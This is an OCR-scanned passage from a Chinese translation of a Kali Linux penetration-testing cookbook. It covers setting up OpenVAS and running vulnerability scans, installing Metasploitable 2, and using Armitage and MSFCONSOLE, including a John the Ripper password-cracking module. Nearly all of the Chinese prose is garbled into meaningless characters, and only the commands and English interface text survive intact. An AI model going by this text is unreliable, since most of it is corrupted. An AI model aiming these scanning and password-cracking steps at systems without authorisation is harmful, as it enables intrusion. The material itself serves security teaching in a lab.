 RATALEFATHANB ARG LA ©

n LB (RAGE) RikdF Add Target IP Address °©

9. &+ Launch Scan

0 Mew Scan Template

L¥ General Setings General Scan Setiings
FLAITIE
Tipe Fun Maow
Palicy Extarnal Nabwork Scan
Sean Targets
Upkoad Targeis I Rr s

10. R2MEBRAIN > ARG ARG 2 UAT (RATREET 55 B is > ARZWAITZ TN
®) -

M. —ERRT » REKRE k% » ©E Reports HET T -
12, WA RSW THE L

o HANRIT RAL B IRAWI|E o

o i IP ALK I sH O » Fo A3 0 89 B A o

o REI|T A ET » KRR FT R IG5 T E R R R 6 5 & o

o RiAAE M| o



13. =& Reports _I.;?-:lf'—‘:]:'é/] Download Report °

5.6 ¥ % ~ B & 47 & 3 OpenVAS

OpenVAS ° FfAZURF & £ % > £— AN THE B AR RFAGAHIER - €& Nessus 1l B
89 % o 1% Nessus ° OpenVASHR B T %4 %% 890k A& o &1 T OpenVAS 7£Kali Linux F &
AAe B KAV 2B B 45 o

e

TR ik o

BRAF T ]

LRV E ~ B EAF B 5 OpenVAS » AAAELBE 0 Fi7 R €95z o
1. OpenVAS Hik% ¥ > FERFEREMR T o
2. E#%smEod o %8ZETH OpenVAS #8843

cd /usr/share/openvas

3. PATT A4

openvas-mkcert

B —% K414 OpenVAS 4132 T SSLIEH °

i. BRE CAMKINESREM -

ii. EHERGEFED > RITE CAIEH REL : 1460 ©
ii. WABREIR o

iv. AN RAE o

V. RL ARG ERIN o

Vi. REFIIEHAART » LEHRTEHE4EREBE o



tificate

Congratulations. Your server certificate was

The following files were created:

4. PATTF I 4

openvas-nvt-sync

1 23% OpenVAS NVT 432 EFe B AT69 NVT AR F - 4 E#H 2w RAKSE o

[i] The 'l IVAS NVT 5 Y :
[1] Online information ab i £ : 'http i 0 t-f

5. #ATTF 7|44 :

openvas-mkcert-client -n om -i
openvasmd -rebuild

TREREPIERF SR THEIEE -
6. #ATT 7|44 :

openvassd

&4k % OpenVAS a4 & e BT A G (K4 26406 ) » ATl & it — et o



7. PATT A4

openvasmd --rebuild
openvasmd --backup

8. HATTZ| 4 keI ERGETERM P (&KRN11EA  openvasadmin )
openvasad -c 'add_user' -n openvasadmin -r admin

-n admin -r Admin

OT: No rules file provided, the new user will have

3 EDT: User admin ha

9. MATT |44
openvas-adduser
B IE R SRR P o
i WA FLAR o

i, ARBFEREETE A4 (X2 AFH

w0
B
&

iii. #ARKER o
iv. stTHM 2> 3% T ctrl + D ©

v. BT vy kfHAp o

ile holdar.

em which allows you to restrict the hosts that wlp has the right to

instance, you may want him to be able to scan his own host only.

Flease see the vas -adduser| : the rules syntax.

10. #ATTF 7|44 kEE OpenVAS B9 X E% T :



#AM1 # T OpenVAS 8 Web F @& =T HEEF @ o

#RAMR A OpenVAS F #ATHRAE GG BT 12 » IREVE R TR EIEE o

E 2

— ¥ RT TR T R OpenVAS Z 5h ) — & Aadz & o

% 5 SSH k¥ Ak B 3 OpenVAS

#RRATE B % OpenVAS #it4z » R &% ¢

1.

Bl NVT RRA (X 3EF R4 » B A B &7 3 FIR K I IE £ 7%

o

FBF RIFEE
openvasmd -p 9390 -a 127.0.0.1
openvasad -a 127.0.0.1 -p 9393
gsad --http-only --listen=127.0.0.1 -p 9392
9392 &M T Web & it & 94 535 0 » 2RART A A TikdF -
7 9 http://127.0.0.1:9392 » AR89 K & F £4& OpenVAS & Web @ o
Greenbone Security Assistant
Successfully logoed out.
Usemame
Password
Login
I AE)R 3
e ZAAAEF 0 RAVAAT A 45 F v @2 & %K OpenVAS J:ﬂ'&“ 2B RMNBET —A
EHHRERNGGEHRIEE - BB > ZNCAET AN E R Ao — WP KRT o RE

100


http://127.0.0.1:9392

2. B # OpenVAS 12 % -
3. FRIIEE o

4. FWEBEE -

5. BEMRH T o

AT T AR > T @i £ Bash B AT AIE4R B 5 OpenVAS ° 8RB 4 openvas.sh *
FHAEMRE /root XHEF

#!/bin/bash

openvas-nvt-sync

openvassd

openvasmd --rebuild

openvasmd --backup

openvasmd -p 9390 -a 127.0.0.1

openvasad -a 127.0.0.1 -p 9393

gsad --http-only --listen=127.0.0.1 -p 9392

1% /| OpenVAS % @
R¥T VA% 4% i it OpenVAS £ @ k#4748 F 7 3 - OpenVAS 2 @Z—4 GUI & 4 T B
LA

1. & Kali Linux 89 2 @895 % X £ F 2 75
7] Applications | Kali Linux | Vulnerability Assessment | Vulnerability Scanners | Oper

) BRAR T @R A



Please enter address and
user account for your scan
engine |

If you select one of the

profiles, you only need to SEweraddress Port

enter the password.

Before you press the log in
button you may store the | |g3gﬂ.
access profile. |

Mote, that the scan engine

must have OMP support Usemame
enabled for the given port

for a successful connection.

login || Cancel -|

. BFEREBHA AN 127.0.0.1 ©

N

L AR R P o

w

C BAARE F A o

N

5. ®B i Log in %42

5.7 OpenVAS - & I AR R

OpenVAS A &ATXFRK S A LGRFE » SN ETRINGERA o AL F 2 F4E69 B 4z R
5] &R Ay 4 2t BAVR R B XA G IRF o £RXAFLEE T 0 K415 218 A OpenVAS
138 AR L RKIRIR X BIRIR 4 2T R AT S AT A R M E A o
HAF T B
L &ATAE ] OpenVAS &L AIIR R FH46 » & i1 Firefox & i &

1. % Flhttp://127.0.0.1:9392 3 & & OpenVAS -

2. 7] Configuration | Scan Configs °


http://127.0.0.1:9392

2 Configuration
o Scan Configs

o Targets

o Credentials

o Agents

o Escalators

o Schedules

o Report Formats
o Slaves

AR L AR o IAREE T 0 BAVE Local Vulnerabilities ©

HAVLAF Empty, static and fast L o I AT T AL RN E A4 A E RN A T8y
Be & o

B i create Scan Config

New Scan Config 2

Mame Local Vulnerabilities

Comment (optional)

@ Empty, static and fast
" Full and fast

Base

| Create Scan Config |

ENALETEREENOAREE © 2F Local Vulnerabilities & A | F B ir o
Local Vulnerabilities 15 B 191 B BERELD

A% T ctrl + F FEEREFHAN Local °

st FTHEANKE G RMAE » EE select all NvT's HEP 8 F HAE o 32T —HIRIA o %iF8)

© Compliance

O Credentials

© Default Accounts
© Denial of Service
°© FTP

©  Ubuntu Local Security Checks



% AhE RIRERE

M Edit Scan Config Details =

2 Scan Management
o Tasks | Name:  Local Vulnerabilities
o New Task Comment:
o Notes . . = L
& Overrides Edit Network Vulnerability Test Families
o Performance
3 Configuration Famity @ 8 0 8 m
o Scan Configs AT Local Security Checks 1of 1 =1 > bal—~] 5
o Targets
o Creadentials Brute force attacks oof 11 201+ Ea
o Agents Buffer overflow 0 of 434 dall &
b ;ﬂl !ms CISCo 0of 4 B B
& a E el
o Report Formaks Cent0S Local Secunty Chacks 1243 of 1243 L ¥ g
. Compliance Oof3 A A
o Administration :
o Users Credentials 0 of 2 A - &
s m Databases 0of 71 L i md B
o Settings .
o Help Debian Local Security Checks 2476 of 2476 e Rl 7 Es
= Contents Default Accounts 0 of 28 Ba0 )
o About .
Denial of Service 0 of 777 =8 &
FTP 0 of 159 Bs8 &

9. & save config °
10. %7l configuration | Targets

@2 Configuration
o Scan Configs
o Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
o Slaves

1. QI #T89 B A7 AT T F14RA4F
BNB ARG AR o
BN EN G BT XX —
m AE—#3AE ¢ 102.168.0.10
B NS ANHAE o VA2 5 45 F 0 102.168.0.10,192.168.0.115
I AMAETOE ¢ 192.168.0.1-20
12. & create Target °
13. £ %4 scan Management | New Task * AT T 7]484% :
NS 4 AR o
WMANERE (TH) o

104



jii. ®AFRGMEE o XEZA Local vulnerabilities °
iv. FERR AR o LEZAE Local Network °©

v. P R AL ARG BN o

vi. 2 create Task ©

New Task k4

Mame Local Vulnerabiliies

Comment (optional)

S Gk iLocal Vulnerabilites =
Scan Targets Local Metwark =

Escalator (optional) - -

Schedule (optional) — -

Slave (opbional) %

' Create Task

14. 3. /215 1] scan Management | Tasks °

15. BFiafhirhedE3de4s - L EZ A Local vulnerability Scan

Results of last operation

| Operation: Delete Task
| Status code: 200
;StatUE message: OK

Tasks L) Mo sutc-refresh » lfpply gvemdes Z

3 Reports
Task I m == Threat Actions
| e

i Local Vulnerabilities Scan Aug B 2012 Maone

I AE)R 3

BAALFE T > &A1 % OpenVAS #F B A H) Web 7@ o 25 &M1& E T OpenVAS k44 %
— AP AWRR o 5 0 RA1BFET BRFZARTEH - OpenVAS X 6Ha#T BirA4 LD
Fa iR 0 L35 RATEY NVT RRAK o
¥%
—EPAT T RTRBIEFRERATLER

1. %17 scan Management | Tasks ©°

2. B+ Local Vulnerabilities Scan & M K4 B 1% :



Results of last operation

|Operation: Delate Task
{Status code: 200
|Status message: OK

Tasks Tw

Luml Vulnerabilities Scan Aug B 2012

= ey |l ‘
Task real ren ions
= m

3 AETHRMXREAMRE

Task Summary ®S FERXZ”

MName: Local Vulnerabilities Scan
Comment:

Config: Full and f.

Escalator:

Schedule: (Mext due: over)

Target: Localhost

Slave:

Status: o —
Reports: 1 (Finished: 1)

Repaorts for "Local Vulnerabilities Scan® s

Back to Tasks

R T
IIIEEIEZIEE.IHI

Thu Aug 9@ 11:46:07 2012 4
Done

g ~
Notes on Results of "Local Vulnerabilities Scan” @ &

Overrides on Results of "Local Vulnerabilities Scan™ RE

—_—

5.8 OpenVAS - X ILK % /iR

A ZAFEE P » KA1I% 218 A OpenVAS 124 B 4z L& B4R »
Fagrg o

M
AT RAIAF AR FBARN R E B o

e Windows XP

13 o BSE3L3

X IR R AT 2t R AT B AR %



e Windows 7
e Metasploitable 2.0
o H ERR A Linux

BeAE 3
TE AT ] OpenVAS & 3L M £ kiR 7F 45 » & Sed1 7t Firefox & it & :
1. 17 Flhttp://127.0.0.1:9392 7 & & OpenVAS °

2. 17 ¥l configuration | Scan Configs °

@ Configuration
o Scan Configs e—
o Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
o Slaves

3. M AR LR o XAFLEE P o KA14% A Network Vulnerabilities ©

4. #EA1%AF Empty, static and fast LI o AT T AL RATAE T4 F Q| Z KT8 T8
Be & o

5. #& i create Scan Config

New Scan Config ¥
Mame Local Vulnerabilities

Comment (optional)

@ Empty, static and fast
' Full and fast

Base

Create Scan -Canﬁg i

6. RINNAAEITEREBERN IR EE o &+ Network Vulnerabilities &I F Bz o
7. T ctrl + F A EHKAE T A Network ©

8. M THEANKE % » K select all NvT's HE P F HAE o 2L —HRF - FGRA
A

O Brute force attacks
o Buffer overflow

© CIsco


http://127.0.0.1:9392

Compliance
Credentials
Databases

Default Accounts
Denial of Service
FTP

Finger abuses
Firewalls

Gain a shell remotely
General

Malware

Netware

NMAP NSE
Peer-To-Peer File Sharing
Port Scanners
Privilege Escalation
Product Detection
RPC

Remote File Access
SMTP Problems

SNMP

Service detection
Settings

Wireless services



Edit Scan Config Details

Name: Network

Comment:

Edit Network Vulnerability Test Families

AIX Local Security Checks 0of1l -

Brute force attacks 0ofll o Ld ™ ad | ]
Buffer overflow 0 of 333 & Ed ™ ad il L~
CISCo 0 of 4 sl v &
CentOS Local Security Checks 0 of 669 ald oG # ]
Compliance Dof3 e ed & ]
Credentials 0of 2 17 [&]= 7] ]
Databases 0 of 52 0 id®ad [#] ]
Debian Local Security Checks 0 of 2189 A7 fa]= | a
Default Accounts 0 of 20 o ld © lad || &
Denial of Service 0 of 619 sl el Fi g
FTP 0 of 142 slel i L]

9. & save config °
10. 7% ¥l configuration | Targets

& Configuration
o Scan Configs
o Targets e
o Credentials
ents
o Escalators
o Schedules
o Report Formats
o Slaves

1. QI #T89 B A7 H AT T F14RA4F
WNB ARG AR o
BN EN G AT X —
m A E—A MLl ¢ 102.168.0.10
B NS ANHAE o VA2 5 45 F 0 192.168.0.10,192.168.0.115
I AMAETOE ¢ 192.168.0.1-20

12. & create Target °



13. I/ #4%F scan Management | New Task ° I #AT T 7|42 4F :
i MAESLAR o
i, WAERE (T#) o
jii. #FMREGIRALE o X TR Network Vulnerabilities °©
iv. #&3FRAAF o X ESL Local Network °©
V. FTA Al AR G BN o

Vi. B Create Task °

New Task L

Name Network Vulnerabilities

Comment {optional)

Scan Config Matwork b
Scan Targats Local Natwork

Escalator (optional) - -

Schedule {optional) - =

Slave (optional) -

Creale Task |

14. 34275 1] scan Management | Tasks ©

15. BFiafhr i etE3de4e o XL 2L Network Vulnerability Scan

IAEJR 32

EAHLEE P 0 &ATB % OpenVAS HE AN €8 Web Fo@ o 25 &M1& E T OpenVAS k4 %
— 27| M %&RRA - &G > £MN#EFETAIRFA TR TIH - OpenVAS L6 1a#H T EAFAL LD
FaFiRl 0 BLAERATE NVT AR A o

E 2
—EPAT T RTRBIEFRERATER

1. %17 scan Management | Tasks ©°

2. A Network Vulnerabilities Scan % 894 K4t E 4z :

3 AHFTHMKREARE



Task Summary ' b ! .. b4 ?

MNama: Windows Scan
Comment:

Config: Windows Vulnerabilities
Escalator:

Schedule; (Next due: over)
Target: Local Netwaork

Slava:

Status: —

Reports: 1 (Finished: 1)

Reports for "Windows Scan" d Appeq :.uq-mdn - ‘3

_

Wed Dec 5 15:48:34 2012
Dane

14 31

Actions

o ESE3ES

LYY i " "y
Notes on Results of "Windows Scan ®s

NVT Text

Overrides on Results of "Windows Scan S

Wi [eem [ e s |

5.9 OpenVAS - & 3L Linux 45 € /& F

A RZAFEEF 0 KA1 215 F OpenVAS 3244 Linux iR » 3 &R F 4 2t &A1 B Az M % L6

Linux E£AL ©
f &
AT RRZANFLE AR E ZAM K 6 E B o

¢ Metasploitable 2.0
o H VAR A Linux

BAE T B
TEHAT AL ] OpenVAS A 3L Linux 4% & /A4 » & 247 Firefox &
1. % Flhttp://127.0.0.1:9392# & & OpenVAS °

2. 7] Configuration | Scan Configs °

Vs ea

U


http://127.0.0.1:9392

& Configuration
o Scan Configs e
o Targets
o Credentials
o Agents
o Escalators
o edule
o Report Formats
o Slaves

AT R L AR o X AHb4E P 0 ZA14E A Linux vulnerabilities ©

HAVEAF Empty, static and fast L o AT T AL ERATNE 4 A E RN A T8y
B & o

B i create Scan Config

New Scan Config =

Name Linux Vulnerabilines

Comment [optional)

@ Empty, static and fast
Full and fast

Base

| Create Scan Config |

HEMNALETERBRN OB E o ZF Linux Vulnerabilities & 09I F B iz o
BT ctrl + F ALEEREFHA Linux °

st FHEAKEI 5% 0 B select all NvT's E T 89 5 AE o L —ARRA o kF 6K
A

© Brute force attacks
© Buffer overflow

© Compliance

O Credentials

© Databases

© Default Accounts

© Denial of Service

© FTP

© Finger abuses

© Gain a shell remotely
© General

© Malware

O Netware



O NMAP NSE
© Port Scanners
© Privilege Escalation
© Product Detection
© RPC
© Remote File Access
© SMTP Problems
O  SNMP
© Service detection
O Settings
© Wireless services
© Web Server
@ Configuration

o Scan Configs

o Targets

o Credentials

o Agents

o Escalators

o Schedules

o Report Formats

o Slaves

9. & save config °
10. 7% ¥l configuration | Targets
1. RIREFT 89 B A7 H AT T 5 484F
i. WMANBARLAR o
i. MAEN - BT F AZ—:
m T AE—83hk 1 102.168.0.10
m A S ANHAE > VAEF 458 0 192.168.0.10,192.168.0.115
m A AMAETCE ¢ 192.168.0.1-20
12. & create Target °
13. # {2 %% scan Management | New Task ° AT T 7|44k :
i. WMAEFZ LR
ii. AR (T) o

ii. ®HFROIaREE o X EZRZ Linux Vulnerabilities ©



iv. #FEHERMEAR o XERZ Local Network ©
v. FTA LAt iR BRIk o

vi. & create Task ©

MNew Task-

MName

Comment {optional)
Scan Config

Scan Targets
Escalator (optional)
Schedule {optional)

Slave {optional)

14. 3. /215 1] scan Management | Tasks °

15. BFiafhir &334 - L EZ 2 Linux vulnerability Scan

IAEJR 32

Linux Scan

Linux Vulnerabilties
Local Metwork -
-

-

Crezle Task

EAHEEE P 0 RA1R % OpenVAS H B A €8 Web R o 25 £M18 E T OpenVAS k4% %
— £ 7| Linux /AF ° G » &A1£EFT BRF TR T4 - OpenVAS L g2 # T B AL L
C e iRiE o L4 &RATE NVT IR AR o

E 2

— B RAT T TR ALEFRERAR

1. %17 scan Management | Tasks °

2. &+ Linux Vulnerabilities Scan & 89 K4 B 4% :

3. AHFTHMEAREERSE



Mavigation Edit Scan Config Details B s
|0 Scan Management Back to Configs
o Tasks Name:  Limux Vulnerabilities
o New Task Comment:
L M - L LY -
o Overrides Edit Network Vulnerability Test Families
o Performance
o Sean Confl AIX Local Security Checks oofi =
o Targels y
o Credentials Brute force attacks Dof 11 e O e Gal
o Agents Buffer overflow 00of323 aldold ]
= CISCO Qof4 s
o Schedul O e
o Report Formats CentDs Local Secunty Checks 0 of 669 L d o
Slaves
- Slaves Compliance 0of3 aldold &
|2 Administration
o Users Credentials 0of2 8 Ld O nd L
oMVT Feed Oatabases 0of 52 L ™ ]
o Settings
IiJHEIp Debian Local Security Checks 0 of 2189 il C d Cal
o Contants Default Accounts 0 of 20 o lld ol &
o About .
— | Denial of Service aOofble T R = | ]
FTP 0 of 142 sl ]

5.10 OpenVAS - & 3. Windows 4§ & /& R

B ZAEFE T o KA1 ZA4L A OpenVAS 4245 Windows iR » 1% &R F 45 &A1 B 4= M % b
&9 Windows E A °

£ &
AT RARZANFLLE AR F ZA MK A9 JE P o

e Windows XP
e Windows 7

BT R
TE &AL ] OpenVAS & L Windows 4% & 7R 46 » & 24T Firefox & % % :
% Flhttp://127.0.0.1:9392 # % & OpenVAS °
2. 17 ¥ configuration | Scan Configs °

@2 Configuration
o Scan Configs e;
o Targets
o Credentials
o Agents
o Escalators
o Schedules
o Report Formats
o Slaves


http://127.0.0.1:9392

AN LAR o ZAHEE T » ZA14E A windows vulnerabilities ©

H AV Empty, static and fast LT o AT T IATEERATINE 4 F A KN A T8y
fe & o

& i create Scan Config

New Scan Config =

Name Windows Vulnerabiliies

Comment (optional)

% Empty, static and fast
Full and fast

Base

| Create Scan Config |

HEMNALETERBERNGZHEE o A& windows Vulnerabilities & U8R F B Ax o
T ctrl + F HAEEHRAEF WA windows ©

st FHEANKB 5% 0 B F select all NvT's HEF 89 B AR o 2T —WIRIF o %3F6 KRR
Ao

© Brute force attacks
© Buffer overflow

© Compliance

© Credentials

© Databases

© Default Accounts

© Denial of Service

o FTP

© Gain a shell remotely
© General

© Malware

© NMAP NSE

© Port Scanners

© Privilege Escalation
© Product Detection

© RPC

© Remote File Access
© SMTP Problems

©  SNMP

© Service detection

© Web Server

O  Windows



9.

10.

O Windows: Microsoft Bulletins

Edit Scan Config Details 7

Name:  Windows Vulnerabilities

Comment:

Edit Network Vulnerability Test Families

AlX Local Security Checks 0of1 @ i s
Brute force attacks 0 of 11 8 d T nd o &
Buffer overflow 0 of 333 aldeo D ] ]
CISCO Dof4 ZE =) L
Cent0S Local Security Checks 0 of 669 el Es
Compliance Dof3 @ Ll T i =
Credentials 0of 2 o Ll O ad 4 Ed
Databases D of 52 @ ld O Ll &
Debian Local Security Chedks 0 of 2189 Cd & ud &
Default Accounts 0 of 20 1 * [e]= 7| e
Denial of Service 0 of 619 i d 0 | &
FTP 0 of 142 Ha &

B save Config °

7z Configuration | Targets

Name Windows Scan

Comment (optional)

Scan Config Windows Vulnerabilites  ~
Scan Targets Local Netwaork -

Escalator (optional) - =

Schedule (optional) - -

Slave (optional) -

| Crﬂate Task

11. Q1369 B A= F HAT T 7] 484F ¢

WA BARGAR o
DB EN G AT XX —
m A E—Ag ML ¢ 192.168.0.10
B NS ANHAE > VA2 545 F 0 192.168.0.10,192.168.0.115

M HETGE ¢ 192.168.0.1-20



12. %k create Target ©
13. /2 #F scan Management | New Task ° I #AT T 7|4R4F ¢
i. WMAAEF L AR -

i BAER (T#k) o

a

i HFFROIMEE o X EZ2 windows Vulnerabilities °©

i
iv. &#EHERME AR o XEZL Local Network °

PT A A A ARG BGA e

<

Vi. B Create Task °

3 Configuration
o Scan Configs

o Targets

o Credentials

o Agents

o Escalators

o Schedules

o Report Formats
o Slaves

14. 34275 1] scan Management | Tasks ©

15. BFiafhr &334 o X L& windows Vulnerability Scan :

IAEJR 32

BAALFE T > &A1 % OpenVAS B AT 6 Web 7@ » 25 &M1& E T OpenVAS k44 %
— A %] Windows /R ° /G » &A1%F T BirF TR T 3248 - OpenVAS XL G # T Bir &
% bR > IR NVT A o

2%

— B HAT Tk BT LA REFRERARLER .

1. %17 scan Management | Tasks ©°

2. %+ windows Vulnerabilities Scan % i 897K K4t B 4z :

3 AHFTHMKREARE



% A %E KRR

m Edit Scan Config Details =

O Scan Management
o Tasks Name:  Linux Vulnerabilitias
o New Task Commient:
L MEE - L LY -
o Overrides Edit Network Vulnerability Test Families
o Performance
& Conflguration m
o Scan Configs Al Local Security Checks Oof1 (A=
o Targels =
o Credentials Brute force attacks Oof 11 alld el s
o Agents Buffer overflow 0of 323 sl@dol il &
o Escalators
clsco Oofd
o Schedules [~ R =] £
o Report Formats CentOS Local Security Checks 0 of 669 el =
- Slaves Compliance 0of3 adol - &=
3 Administration
o Users Credentials Oof2 sl s S
o HVT Feed Databases 0of 52 i ]
o Settings
Biela Debian Local Security Checks 0 of 2189 alld el |
o Contents Default Accounts 0of 20 a@cl ]
o About =
Denial of Service 0of 619 aldnE ] Fd
FTp 0 of 142 aldell =
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Hox = RIRA
£ : Willie L. Pritchett, David De Smet
FEH A

7L : CC BY-NC-SA 4.0

=)
A
— B ENMNZRTRA2MTE » KNKTHRTLE2N k2 XA BEALELEGRF - X

—FF o RN 2L AR R 6 TR - 45 ALK 3%+ F 77 Metasploit

6.1 ¥ X f=fc & Metasploitable

BARE T » K142 K ~ B EF R 7 Metasploitable 2 - Metasploitable & % F Linux #4%
£ A% > #A % 4 T4 Metasploit X & 69/ - © W Rapid7 (Metasploit 1 R & FT A %) %
1+ o Metasploitable 5 4~ & Meterpreter /i i 6945 4F 7 X ©
&
AT HATEABAE » RNFRLTIHAE :

o THER N

e VirtualBox PC L& 7T A % g

o fREH A (X Z KA M Windows L& 7-Zip)

BAE T B
1E &A% T 8 Metasploitable 2 ° 5 & 42 #9143 £ I SourceForge KIL T #, &, :

1. MIX /4% 3T 3 Metasploitable 2 : <http://sourceforge.net/
projects/metasploitable/files/Metasploitable2/> -

2. B Ha g ENENMLE o
3. BEHF o
4. J& M FE A EAABIRGE G R IR 4L B o

5. 47 VirtualBox # & & New %42 :


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/
http://sourceforge.net/

%o RIRA A

Hle Machine Help

Welcome to the New Virtual Machine Wizard!

This wizard will guide you through the steps that are necessary to create a new virtual machine for VirtualBox.

Use the Next button to go to the next page of the wizard and the Back button to return to the previous page. You
can also press Cancel if you want to cancel the execution of this wizard.

7. %A Metasploitable 2 9% #x 3% operating System: #%4%4 Linux ° version: it
R ubuntu ° BT @B BEAH B F Next ©

VM Name and OS Type

Enter a name for the new virtual machine and select the type of the guest operating system you plan to install onto
the virtual machine,

The name of the virtual machine usually indicates its software and hardware configuration. It will be used by all
VirtualBox components to identify your virtual machine.

Mame

Metasploitable 2

05 Type

Operating System: [u'l..ll

Version: [Lh.rrh.:

8. wRTHE > #®iF s12 MB * F B Next ©

121



%% RiRA R

Memaory

Select the amount of base memory (RAM) in megabytes to be allocated to the virtual machine,
The recommended base memory size is 512 MB.
Base Memary Size

rn
U ¥ i [ i i i

4ME

| Organize v Mew folder
8 Downloads Date modified
| Recent PI
B L i B/25/20126:53 PM  Virtual Machine Di,.. ||

5 Libraries
[ Documents
o Music
besl| Pictures
. Videos

% Computer
& Local Disk (C:)
L4 DVD/CD-RW Drin,
o MNew Velume (E:)

¢ | | b

ad

File name:  Metasploitablevmdk - Imihnd:l‘uhmgu[' gk " ‘]
[ Open || Concet |

10. ROGBEDAELET 2B T EOBRERE  c EZINFH T RNZET TR EHAEEE
] o 3% & B 4% F| Metasploitable #51% » R & FEZA A% » Wi 7 A% € AIERE

122



\firtual Hard Disk

If you wish you can now add a start-up disk to the new machine. You can either create a new virtual disk or select
one from the kst or from another location using the folder icon.

If you need a more complex virtua! disk setup you can skip this step and make the changes to the machine settings
once the machine is created,

The recommended size of the start-up disk is 8.00 GB.

[¥] start-up Disk

) Create new hard disk
@ Use existing hard disk
| Metasploitable vmdk (ormal, 8,00 GB)

11. &+ create °

Summary

You are going to create a new virtual machine with the following parameters:

Mame: Metasploitable 2

05 Type: Ubuntu

Base Memory: 512 MB

Start-up Disk: Metasploitable,vmdk (Normal, 8.00 GE)

If the above is correct press the Create button. Once you press it, a new virtual machine will be oreated.

Mote that you can alter these and all other setting of the created virtual machine at any time using the Settings
dialog accessible through the menu of the main window.

I

| create || cancel

12. @ id % & Metasploitable 2 89 .% #xf» start &4k B HE °

IR

R AALAE T 0 &A1 Virtualbox F & & T Metasploitable 2 © #4124k sourceforge.net T #
Metasploitable 745 1& Mkt » 2 & 18 E T VDMK k£ VirtualBox F i&47 7 A8 514 £
KR o

6.2 ¥4 Armitage > Metasploit & B % & % T &
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#ThR A 89 Metasploit 1% A | # Armitage 9 B L a7ss T & o 2 AZ Armitage FFF €& > R A
AR R BT MALEG1Z & 0 4R 2T Metasploit 891& A T3 & - 3 E T Metasploit 42 4]

AN ERUN

» F AR A B e 5] R A8 0 AR T L — K F Bl 'k Metasploit 42 %] 6 X, Meterpreter &7 £
By Mg o

&

FTETHM KA G ELE o

e B

Tk &A1 4 B4 Armitage :

1.

JN %@ b1

] start | Kali Linux | Exploitation Tools | Network Exploitation Tools | Armitage °

B =ranhic
r aphics »
‘h" Imterr
Kali Linusx \ 10 Security Tools ]
i Ifice
=L'E| 0\ Infoarmation Gathering 3
"
Programming ¥
- rh Vulnerability Analysis ’
-
] Sound & Vid >
h_ nc Video m Weh "‘I'J;”' ications 3
System Tools ¥ -
. e o Password Attacks ?
fi Universal Access »

[=] Wireless Attacks L]

S G BeEF XS5 Framework »
iffing/Spoafin ? ﬁ Cisco Attacks

ﬁ Maintaining Access R ~ Exploit Database ]

~autopw

oss-autopwn-wi

i termineter

2. /& Armitagef®y B EF @ F > A connect (HEdE) 4o



Host 1127.0.0.1

Port 55553
User msf
Pass tast

| Connect | | Help |

3. Armitage T &t % & — &t 4] k% 3 Metasploit © % € TRE > RTAA LT @GR TE
7 o REIRNL 0 —E Armitage AE95E AR 0 2K K A9 ° /£ start Metaspoit? J-@ 0 &
# Yes

Start Metasploit?

A Metasploit RPC server is not running or

0 not accepting connections yet. Would you
like me to start Metasploit's RPC server
for you?

o | [xes ]

4. MEMHREAE Armitage W EF T o RMNALA TR EIF o AR (FF1L
AA~Bhc o ETE@OREF) o

o A I BARKEFTT AR EGER - ARTAA LMK AT @O TERM L o
o B I EARBETTHRYEDBAF » KRAVAEBAH A SRR o

o ¢ : EANARBMETT %A Metasploit &R ° B A % 4 Meterpreter 4z4] & &
i [F] i EAT e s o



Armitage Wiew Hgsts Attacks Workspaces Help
* | ,_—'I_.-!|I¢'|I'_.'
= | explod
* [ payload
* [ post

A.

J Console x]

=[ metasploit v4.2.8-release [core:4.2 api:1.0]
-==[ 885 expleits - 458 auxiliary - 135 post
-==[ 246 payleads - 27 enceders - 8 nops

=[ svn rl48e5 updated 177 days ago (2012.82.23)

Warning: This copy of the Metasploit Framework was last updated 177 days ago.
We recommend that you update the framework at least every other day.
For information on updating your.copy of Metaspleit, please see:
https: //communi ty, rapid7. compdocs /DOC- 1306

B # Armitage 89—/~ B L A Z L LR E O FPHAT I 44 o

armitage

AN

AT T R E % Meterpreter 8912 & » & L“¥£ 4 Meterpreter’—¥ o

6.3 £ i% Metasploit ¥4/ 4 (MSFCONSOLE)

RAHAE T 0 &RAT2H % Metasploit #2%] & (MSFCONSOLE) ° MSFCONSOLE £ &7 T
& 32 Metasploit 32 & » & 215 AR B B #2 3 %) Metasploit #3k o AR £ » & -TH R KR
8 B 89 » MSFCONSOLE #8451 k4R &35 £ A0 > 12 TARAI R €8 RE o

PRI VIAE AT b Aotz dl & X 5
® help : BAGFAAHREEREZREITOFAITHHBI LA o
® use module : ANAAVFIRI B E AT R AF AR o
® set optionname module : X /NA A VFAR 448 E AL R BL B T F 69 R
o exploit @ XANGA R FHiRIAF AL o
o run : EANGA R HIERFAFR LR

® secarch module @ X ANFAAFRE T LER -



o exit : IAGASAFARE E MSFCONSOLE
B %
TR A, A 6 A
e B
L &RAT A4 E % MSFCONSOLE :

1. AT AAT o

2. @it T 44 2 3 MSFCONSOLE :

msfconsole

3. @it search A LHTA T A& Linux B3k o R KANAT EWATHRAEN » Mk —wm it
BiBEANMFEE o EE R A £ Metasploit 89 R ARKRZE] » BIBETRE AT o

search linux

Infarmat

nufm_users history

4. 1% John the Ripper Linux % 5 2% fi# £ 3k o

use auxiliary/analyzse/jtr_linux



5. BT 7|4 ALK 7T %0

show options

mef auxiliary(

6. BLARKMFIE T T Asf XA RAE R 69 » KATT AE ] set 4R LE IR LEA -
TEEATE E JOHN_PATH &R :

set JOHN_PATH /usr/share/metasploit-framework/data/john/wordlists/ password.lst

7. WAEPATRBAFRR » BA1E BB exploit ¢4 !

exploit

E 2

— 2 fRifid MSFCONSOLE #&4F 7 £ 4L8947 9] » 1R & 1% ] Meterpreter sk 4~ & B.47 ©
MSFCONSOLE T A % AR 8 =3 » @ Meterpreter HUAT 32 5 89 8,47 5~ &K A= IR iR A B TAE o

6.4 ¥ 1% Metasploit CLI (MSFCLI)

AL 0 &414 4K % Metasploit CLI (MSFCLI) ° Metasploit & 24 v k& h47 € 691
% o MSFCLI st & Z A 6930 o € - —MRIFeg3E T » BT % 3 Metasploit » MK/ % 5
B RRAI R o AT R TR A F L o EatiE S48 AR KR8 A ik o

1 1 MSFCLI #— A 258 2 » 1R R 49 —RATHA— /> shell o R &5 » S KMNEX
— kA B4R 0 B MSFCONSOLE B # B8 4 o %5 » RE B4l fRAT H A A 89 BLAKR
k4% B MSFCLI » X 4% & 2t T H & MR 3 F A &g 2248 A > 1]+ 7 3 & Metasploit #
RA R 5] & o

MSFCLI # — 642

